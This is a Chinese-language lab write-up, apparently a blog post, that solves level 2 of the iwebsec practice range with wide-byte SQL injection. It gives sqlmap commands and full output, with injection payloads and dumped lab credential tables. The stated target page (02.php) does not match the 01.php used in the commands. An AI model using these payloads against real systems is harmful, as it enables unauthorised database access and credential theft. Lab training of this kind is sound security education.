iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入（宽字节注入）
系列文章目录
iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客
目录
系列文章目录
前言
第02关 字符型注入
1.源码分析
2.字符型宽字节注入
（1）渗透方法1：
（2）渗透方法2：
（3）渗透方法3：
总结
目录
系列文章目录
文章目录
前言
第02关 字符型注入
1.源码分析
2.宽字节注入
（1）渗透方法1：
（3）渗透方法3：
总结
前言
打开靶场，url为 http://192.168.71.151/sqli/02.php?id=1 如下所示
第02关 字符型注入
1.源码分析
如下所示，存在宽字节注入漏洞且闭合符号为单引号
2.字符型宽字节注入
首先构造sqlmap语句，url地址为 http://192.168.71.151/sqli/02.php?id=1
很明显直接使用如下语句是不会成功的
sqlmap -u http://192.168.71.151/sqli/02.php?id=1 --current-db --dump --batch因为这是宽字节注入漏洞，使用默认方法不会渗透成功
(1)渗透方法1：
将url中的id=1便问id=1%df* ，即将宽字符特征%df加入到参数1后，同时在后面加上*
sqlmap -u http://192.168.71.151/sqli/01.php?id=1%df* --current-db --dump --batch完整交互过程如下所示
[21:46:26] [INFO] URI parameter '#1*' is 'MySQL UNION query (random number) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1260 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: http://192.168.71.151:80/sqli/01.php?id=1%df AND (SELECT 5388 FROM(SELECT COUNT(*),CONCAT(0x7178707a71,(SELECT (ELT(5388=5388,1))),0x7171767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://192.168.71.151:80/sqli/01.php?id=1%df AND (SELECT 2061 FROM (SELECT(SLEEP(5)))lOnr)
Type: UNION query
Title: MySQL UNION query (random number) - 3 columns
Payload: http://192.168.71.151:80/sqli/01.php?id=-7105 UNION ALL SELECT CONCAT(0x7178707a71,0x706b715151526771476f687a6e4c71617a504e4e5a644541656d6b4f45757642636c43795276784f,0x7171767a71),9687,9687#
---
[21:46:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: Apache 2.2.15, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[21:46:26] [INFO] fetching current database
current database: 'iwebsec'
[21:46:26] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[21:46:26] [INFO] fetching current database
[21:46:26] [INFO] fetching tables for database: 'iwebsec'
[21:46:26] [INFO] retrieved: 'sqli'
[21:46:26] [INFO] retrieved: 'user'
[21:46:27] [INFO] retrieved: 'users'
[21:46:27] [INFO] retrieved: 'xss'
[21:46:27] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[21:46:27] [INFO] retrieved: 'id','int(11)'
[21:46:27] [INFO] retrieved: 'name','varchar(255)'
[21:46:27] [INFO] fetching entries for table 'xss' in database 'iwebsec'
[21:46:27] [INFO] retrieved: '7','
'
[21:46:27] [INFO] retrieved: '6',''
[21:46:27] [INFO] retrieved: '5',''
[21:46:27] [INFO] retrieved: '1','iwebsec'
[21:46:27] [INFO] retrieved: '8',''
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name |
+----+------------------------------------+
| 7 | |
| 6 | |
| 5 | |
| 1 | iwebsec |
| 8 | |
+----+------------------------------------+
[21:46:27] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[21:46:27] [INFO] fetching columns for table 'user' in database 'iwebsec'
[21:46:27] [INFO] retrieved: 'id','int(11)'
[21:46:27] [INFO] retrieved: 'username','varchar(255)'
[21:46:27] [INFO] retrieved: 'password','varchar(255)'
[21:46:27] [INFO] fetching entries for table 'user' in database 'iwebsec'
[21:46:27] [INFO] retrieved: '1','pass1','user1'
[21:46:27] [INFO] retrieved: '2','pass2','user2'
[21:46:27] [INFO] retrieved: '3','pass3','user3'
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1 | pass1 | user1 |
| 2 | pass2 | user2 |
| 3 | pass3 | user3 |
+----+----------+----------+
[21:46:27] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[21:46:27] [INFO] fetching columns for table 'users' in database 'iwebsec'
[21:46:27] [INFO] retrieved: 'username','varchar(255)'
[21:46:27] [INFO] retrieved: 'password','varchar(255)'
[21:46:27] [INFO] retrieved: 'role','varchar(255)'
[21:46:27] [INFO] fetching entries for table 'users' in database 'iwebsec'
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role | password | username |
+-------+-------------+----------+
| admin | mall123mall | orange |
+-------+-------------+----------+
[21:46:27] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[21:46:27] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[21:46:27] [INFO] retrieved: 'id','int(11)'
[21:46:27] [INFO] retrieved: 'username','varchar(255)'
[21:46:27] [INFO] retrieved: 'password','varchar(255)'
[21:46:27] [INFO] retrieved: 'email','varchar(255)'
[21:46:27] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
[21:46:27] [INFO] retrieved: '[email protected]','1','pass1','user1'
[21:46:27] [INFO] retrieved: '[email protected]','2','pass2','user2'
[21:46:27] [INFO] retrieved: '[email protected]','3','pass3','user3'
[21:46:27] [INFO] retrieved: '[email protected]','4','admin','admin'
[21:46:27] [INFO] retrieved: '[email protected]','5','123','123'
[21:46:27] [INFO] retrieved: '[email protected]','6','123','ctfs' or updatexml(1,concat(0x7e,(version())),0)#'
[21:46:27] [INFO] retrieved: '[email protected]','7','123456','iwebsec' or updatexml(1,concat(0x7e,(version())),0)#'
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email | password | username |
+----+-----------------------+----------+------------------------------------------------------+
| 1 | [email protected] | pass1 | user1 |
| 2 | [email protected] | pass2 | user2 |
| 3 | [email protected] | pass3 | user3 |
| 4 | [email protected] | admin | admin |
| 5 | [email protected] | 123 | 123 |
| 6 | [email protected] | 123 | ctfs' or updatexml(1,concat(0x7e,(version())),0)# |
| 7 | [email protected] | 123456 | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+
[21:46:27] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[21:46:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[21:46:27] [WARNING] your sqlmap version is outdated
[*] ending @ 21:46:27 /2022-11-24/
(2)渗透方法2：
增加宽字符脚本 --tamper unmagicquotes
sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch --tamper unmagicquotes完整交互如下所示
kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch --tamper unmagicquotes
___
__H__
___ ___[)]_____ ___ ___ {1.5.11#stable}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:53:15 /2022-11-24/
[21:53:15] [INFO] loading tamper module 'unmagicquotes'
[21:53:15] [INFO] resuming back-end DBMS 'mysql'
[21:53:15] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (2397=2397) THEN 1 ELSE (SELECT 9949 UNION SELECT 5355) END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 2678 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT (ELT(2678=2678,1))),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3668 FROM (SELECT(SLEEP(5)))vjAy)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6b71,0x456c514d62616f4b7a7651664c6f6b4e72567142766663796152416b674642714e7350626d456542,0x716b7a6271),NULL,NULL-- -
---
[21:53:15] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[21:53:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: PHP 5.2.17, Apache 2.2.15
back-end DBMS: MySQL >= 5.0
[21:53:15] [INFO] fetching current database
current database: 'iwebsec'
[21:53:15] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[21:53:15] [INFO] fetching current database
[21:53:15] [INFO] fetching tables for database: 'iwebsec'
[21:53:15] [INFO] fetching columns for table 'user' in database 'iwebsec'
[21:53:15] [INFO] fetching entries for table 'user' in database 'iwebsec'
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1 | pass1 | user1 |
| 2 | pass2 | user2 |
| 3 | pass3 | user3 |
+----+----------+----------+
[21:53:15] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[21:53:15] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[21:53:15] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email | password | username |
+----+-----------------------+----------+------------------------------------------------------+
| 1 | [email protected] | pass1 | user1 |
| 2 | [email protected] | pass2 | user2 |
| 3 | [email protected] | pass3 | user3 |
| 4 | [email protected] | admin | admin |
| 5 | [email protected] | 123 | 123 |
| 6 | [email protected] | 123 | ctfs' or updatexml(1,concat(0x7e,(version())),0)# |
| 7 | [email protected] | 123456 | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+
[21:53:15] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[21:53:15] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[21:53:15] [INFO] fetching entries for table 'xss' in database 'iwebsec'
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name |
+----+------------------------------------+
| 7 | |
| 6 | |
| 5 | |
| 1 | iwebsec |
| 8 | |
+----+------------------------------------+
[21:53:15] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[21:53:15] [INFO] fetching columns for table 'users' in database 'iwebsec'
[21:53:15] [INFO] fetching entries for table 'users' in database 'iwebsec'
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role | password | username |
+-------+-------------+----------+
| admin | mall123mall | orange |
+-------+-------------+----------+
[21:53:15] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[21:53:15] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[21:53:15] [WARNING] your sqlmap version is outdated
[*] ending @ 21:53:15 /2022-11-24/
(3)渗透方法3：
bp抓包，将报文保存为iwebsec02.txt
修改iwebsec02.txt,将id=1修改为id=1%df'* 如下图所示
注意：根据源码分析这里面的%df是宽字节，'是单引号闭合，*则加在闭合的'后面，告知sqlmap这里为注入点，于是注入语句为
sqlmap -r iwebsec02.txt --current-db --dump --batch 如下所示，注入成功
由于sqlmap的完整交互过程前面已有，故而这里并不将完整过程再次列出。
总结
本次渗透的关卡为字符型注入，其实总结来讲本关卡的难度相对而言作为第二关有些难度。
通过源码再来分析下SQL注入重点内容：
（1）闭合方式是什么？iwebsec的第02关关卡为字符型，闭合方式为单引号
（2）注入类别是什么？这部分是宽字节型注入，需要使用%df
（3）是否过滤了关键字？很明显通过源码，iwebsec的字符型关卡无过滤任何信息
了解了如上信息就可以针对性进行SQL渗透，使用sqlmap工具渗透更是事半功倍，以上就是今天要讲的第2关注入内容，初学者建议按部就班先使用手动注入练习，再进行sqlmap渗透。